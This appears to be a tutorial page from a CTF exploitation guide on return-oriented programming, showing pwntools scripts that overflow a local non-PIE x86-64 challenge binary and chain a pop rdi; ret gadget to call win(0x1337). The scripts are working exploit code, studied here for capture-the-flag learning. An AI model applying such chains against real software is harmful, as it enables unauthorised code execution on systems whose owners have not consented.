ROP
Idea: reuse short instruction sequences already present in executable mappings. A common x86-64 chain loads the first argument into RDI, then returns to a function.
Example: call win(0x1337)
Section titled “Example: call win(0x1337)”Assume a local non-PIE x86-64 challenge contains win(long key) and a pop rdi; ret gadget. Measure the offset for the binary you have.
from pwn import *
context.binary = elf = ELF("./rop", checksec=False)offset = 72 # replace with the measured saved-return offset
rop = ROP(elf)pop_rdi = rop.find_gadget(["pop rdi", "ret"])if pop_rdi is None: raise RuntimeError("No pop rdi; ret gadget in this ELF")
chain = flat( pop_rdi.address, 0x1337, # first argument: RDI = 0x1337 elf.symbols["win"], # next return target)payload = flat({offset: chain})
p = process(elf.path)p.sendlineafter(b"> ", payload) # replace with the observed promptp.interactive()ROP(elf) searches the ELF for usable gadgets. find_gadget returns a gadget object; .address is the address placed in the chain. flat packs the integers in the target’s byte order.
Inspect before sending
Section titled “Inspect before sending”print(rop.dump())print(hexdump(payload))rop.dump() shows the planned chain word by word; hexdump() shows the bytes that will be sent. In GDB, break at the vulnerable function’s return and inspect the stack to check the chain order.
For a leaked library address and a second-stage call, see Ret2libc. PIE requires the live executable base before using its code and gadget addresses.
Complete local script
Section titled “Complete local script”Save as exploit.py beside the local target. Measure the offset, confirm the win symbol and gadget in Ghidra/GDB, and update the constants before running.
#!/usr/bin/env python3from pwn import *
BINARY = "./chall"OFFSET = 72KEY = 0x1337WIN_ADDRESS = None # set to the verified address if the ELF is stripped
context.log_level = "info"context.binary = elf = ELF(BINARY, checksec=False)
if elf.pie: log.error("This script needs a non-PIE binary or a resolved runtime base")if WIN_ADDRESS is None: if "win" not in elf.symbols: log.error("Set WIN_ADDRESS to the verified target address") WIN_ADDRESS = elf.symbols["win"]
rop = ROP(elf)pop_rdi = rop.find_gadget(["pop rdi", "ret"])if pop_rdi is None: log.error("No pop rdi; ret gadget found in this binary")
chain = flat(pop_rdi.address, KEY, WIN_ADDRESS)payload = flat({OFFSET: chain})log.info("chain:\n%s", rop.dump())log.info("payload length: %d", len(payload))
io = process(elf.path)io.sendline(payload)print(io.recvall(timeout=2).decode("utf-8", errors="replace"))If win calls a library function and crashes, inspect the stack alignment and insert a single ret gadget only when the observed alignment requires it. The remote script page shows the local/remote transport switch.